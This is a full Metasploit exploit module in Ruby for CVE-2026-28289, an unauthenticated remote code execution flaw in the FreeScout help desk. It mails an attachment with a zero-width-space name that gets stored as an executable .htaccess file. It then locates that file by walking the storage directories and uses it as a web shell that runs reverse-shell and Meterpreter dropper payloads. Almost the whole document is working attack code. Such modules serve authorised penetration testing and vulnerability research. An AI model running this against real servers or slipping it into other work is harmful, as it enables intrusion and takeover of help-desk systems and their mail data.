##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Payload::Php
include Msf::Exploit::CmdStager
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::SMTPDeliver
prepend Msf::Exploit::Remote::AutoCheck
ZWSP = "\u200B".encode('UTF-8').freeze
HTACCESS_BODY = <<~HTACCESS.freeze
Require all granted
SetHandler application/x-httpd-php
HTACCESS
def initialize(info = {})
super(
update_info(
info,
'Name' => 'FreeScout Unauthenticated RCE via ZWSP .htaccess Bypass',
'Description' => %q{
This module exploits an unauthenticated remote code execution vulnerability
in FreeScout <= 1.8.206 (CVE-2026-28289). The sanitizeUploadedFileName()
function checks for dot-prefixed filenames before stripping Unicode format
characters (ZWSP U+200B), allowing .htaccess upload via email attachment.
A crafted email is sent via SMTP to a FreeScout mailbox. When fetched by
the IMAP/POP3 cron (typically every 60s), the ZWSP is stripped and the
attachment is stored as .htaccess. The file uses SetHandler to make itself
executable as PHP, achieving code execution when requested via HTTP.
Requires a valid mailbox email address and web-accessible attachment
storage (storage:link pointing to storage/app/).
},
'Author' => [
'offensiveee', # CVE-2026-27636 discovery
'Nir Zadok (nirzadokox) ', # CVE-2026-28289 discovery
'Moses Bhardwaj (MosesOX) ', # CVE-2026-28289 discovery
'Valentin Lobstein ' # Metasploit module
],
'License' => MSF_LICENSE,
'References' => [
['CVE', '2026-28289'],
['CVE', '2026-27636'],
['GHSA', '5gpc-65p8-ffwp', 'freescout-help-desk/freescout'],
['GHSA', 'mw88-x7j3-74vc', 'freescout-help-desk/freescout'],
['URL', 'https://www.ox.security/blog/freescout-rce-cve-2026-28289/'],
['URL', 'https://www.ox.security/blog/freescout-rce-cve-2026-27636/']
],
'Targets' => [
[
'PHP In-Memory', {
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Type' => :php
# tested with php/meterpreter/reverse_tcp
}
],
[
'Unix/Linux Command Shell', {
'Platform' => %w[unix linux],
'Arch' => ARCH_CMD,
'Type' => :cmd
# tested with cmd/unix/reverse_bash
}
],
[
'Linux Dropper', {
'Platform' => 'linux',
'Arch' => [ARCH_X86, ARCH_X64],
'Type' => :dropper
# tested with linux/x64/meterpreter/reverse_tcp
}
],
[
'Windows Command Shell', {
'Platform' => 'win',
'Arch' => ARCH_CMD,
'Type' => :cmd
# tested with cmd/windows/reverse_powershell
}
],
[
'Windows Dropper', {
'Platform' => 'win',
'Arch' => [ARCH_X86, ARCH_X64],
'Type' => :dropper
# tested with windows/x64/meterpreter/reverse_tcp
}
]
],
'DefaultTarget' => 0,
'Privileged' => false,
'DisclosureDate' => '2026-03-01',
'Notes' => {
'AKA' => ['Mail2Shell'],
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
}
)
)
register_options([
OptString.new('TARGETURI', [true, 'Base path to FreeScout', '/']),
OptAddress.new('HTTPHOST', [true, 'FreeScout web server address']),
OptPort.new('HTTPPORT', [true, 'FreeScout web server port', 80])
])
# Override SMTPDeliver's SUBJECT with a default (random if blank)
deregister_options('SUBJECT')
register_advanced_options([
OptString.new('SUBJECT', [false, 'Email subject (random if blank)', '']),
OptInt.new('FETCH_WAIT', [true, 'Seconds to wait for cron fetch cycle', 60]),
OptInt.new('DIR_COUNTER', [true, 'Max attachment counter per directory', 3])
])
end
def check
res = http_send('uri' => normalize_uri(target_uri.path, 'login'))
return CheckCode::Unknown('Could not connect to the target.') unless res
return CheckCode::Safe('Target does not appear to be FreeScout.') unless res.body.to_s.match?(/[Ff]ree[Ss]cout/)
CheckCode::Detected('FreeScout detected. Version cannot be determined remotely.')
end
def exploit
marker = Rex::Text.rand_text_alphanumeric(16)
@param = Rex::Text.rand_text_alpha(4)
@cleanup_param = Rex::Text.rand_text_alpha(4)
print_status("Sending exploit email to #{datastore['MAILTO']} via #{rhost}:#{rport}")
send_message(build_email(marker))
print_good('Exploit email sent')
wait_for_cron
@shell_uri = find_shell(marker)
fail_with(Failure::NotFound, 'Shell not found after two cron cycles.') unless @shell_uri
print_good("Shell at #{@shell_uri}")
case target['Type']
when :php then http_send('method' => 'POST', 'uri' => @shell_uri, 'timeout' => 1)
when :cmd then execute_command(payload.encoded)
when :dropper then execute_cmdstager(background: true)
end
end
def cleanup
super
return unless @shell_uri
http_send(
'method' => 'POST',
'uri' => @shell_uri,
'vars_post' => { @cleanup_param => '1' },
'timeout' => 5
)
end
# The marker is embedded in the .htaccess so we can identify ours among
# pre-existing ones from prior exploits and avoid triggering the wrong shell.
def build_email(marker)
gate = "if($_SERVER['REQUEST_METHOD']!=='POST'){die();}if(isset($_POST['#{@cleanup_param}'])){@unlink(__FILE__);die();}"
if target['Type'] == :php
exec = payload.encoded
else
vars = Rex::RandomIdentifier::Generator.new(language: :php)
preamble = php_preamble(vars_generator: vars).gsub(/\s*\n\s*/, '')
decode = "#{vars[:cmd_varname]}=base64_decode($_POST[\"#{@param}\"]);"
sysblock = php_system_block(vars_generator: vars).gsub(/\s*\n\s*/, '')
exec = preamble + decode + sysblock
end
php_code = gate + exec
mime = Rex::MIME::Message.new
mime.mime_defaults
mime.header.set('Subject', datastore['SUBJECT'].present? ? datastore['SUBJECT'] : Rex::Text.rand_text_alpha(8..16))
mime.header.set('From', datastore['MAILFROM'])
mime.header.set('To', datastore['MAILTO'])
mime.header.set('Message-ID', "<#{Rex::Text.rand_text_alphanumeric(24)}@#{Rex::Text.rand_text_alpha(8)}>")
mime.add_part(Rex::Text.rand_text_alpha(20..60), 'text/plain; charset=us-ascii', 'quoted-printable')
raw = "#{HTACCESS_BODY}# #{marker} \n"
mime.add_part([raw].pack('m'), 'application/octet-stream', 'base64', "attachment; filename=\"#{ZWSP}.htaccess\"")
mime.to_s
end
def wait_for_cron
fetch = datastore['FETCH_WAIT']
wait = fetch + 10
res = http_send('uri' => normalize_uri(target_uri.path))
if res&.headers&.[]('Date')
elapsed = Time.parse(res.headers['Date']).to_i % fetch
wait = (fetch - elapsed) + 10
end
print_status("Waiting #{wait}s for next cron fetch cycle...")
Rex.sleep(wait)
end
def find_shell(marker)
uri = scan_paths(marker)
return uri if uri
retry_wait = datastore['FETCH_WAIT'] + 5
print_status("Not found yet, waiting one more cron cycle (#{retry_wait}s)...")
Rex.sleep(retry_wait)
scan_paths(marker)
end
# FreeScout stores attachments in /storage/attachment//// where
# d1 and d2 are single digits (0-9) extracted from the MD5 hash of the attachment ID.
# We walk the tree using redirect responses to detect existing directories, then
# check each .htaccess for our marker to find the one we uploaded.
def scan_paths(marker)
base = normalize_uri(target_uri.path, 'storage', 'attachment')
digits = ('0'..'9')
dirs = digits.select { |d| dir_exists?(base, d) }
pairs = dirs.flat_map { |d1| digits.select { |d2| dir_exists?("#{base}/#{d1}", d2) }.map { |d2| [d1, d2] } }
paths = pairs.flat_map { |d1, d2| (1..datastore['DIR_COUNTER']).map { |c| normalize_uri(base, d1, d2, c.to_s, '.htaccess') } }
paths.each do |uri|
res = http_send('uri' => uri)
return uri if res&.code == 200 && res.body.to_s.include?(marker)
end
nil
end
def dir_exists?(parent, child)
res = http_send('uri' => "#{parent}/#{child}")
res&.redirect?
end
def execute_command(cmd, _opts = {})
http_send(
'method' => 'POST',
'uri' => @shell_uri,
'vars_post' => { @param => Rex::Text.encode_base64(cmd) },
'timeout' => 1
)
end
# Swap RHOST/RPORT to HTTPHOST/HTTPPORT then call HttpClient's connect via
# bind_call to bypass SMTPDeliver's connect override in the MRO.
# This preserves full HttpClient features (SSL, proxies, basic auth, vhost).
# SSL is inherited from HttpClient's datastore option.
def http_send(params = {})
saved = [datastore['RHOST'], datastore['RPORT']]
datastore['RHOST'] = datastore['HTTPHOST']
datastore['RPORT'] = datastore['HTTPPORT']
timeout = params.delete('timeout') || -1
cli = Msf::Exploit::Remote::HttpClient.instance_method(:connect).bind_call(self, params)
res = cli.send_recv(cli.request_cgi(params), timeout)
cli.close
res
rescue ::Rex::ConnectionError, ::Errno::ECONNREFUSED
nil
ensure
datastore['RHOST'], datastore['RPORT'] = saved
end
end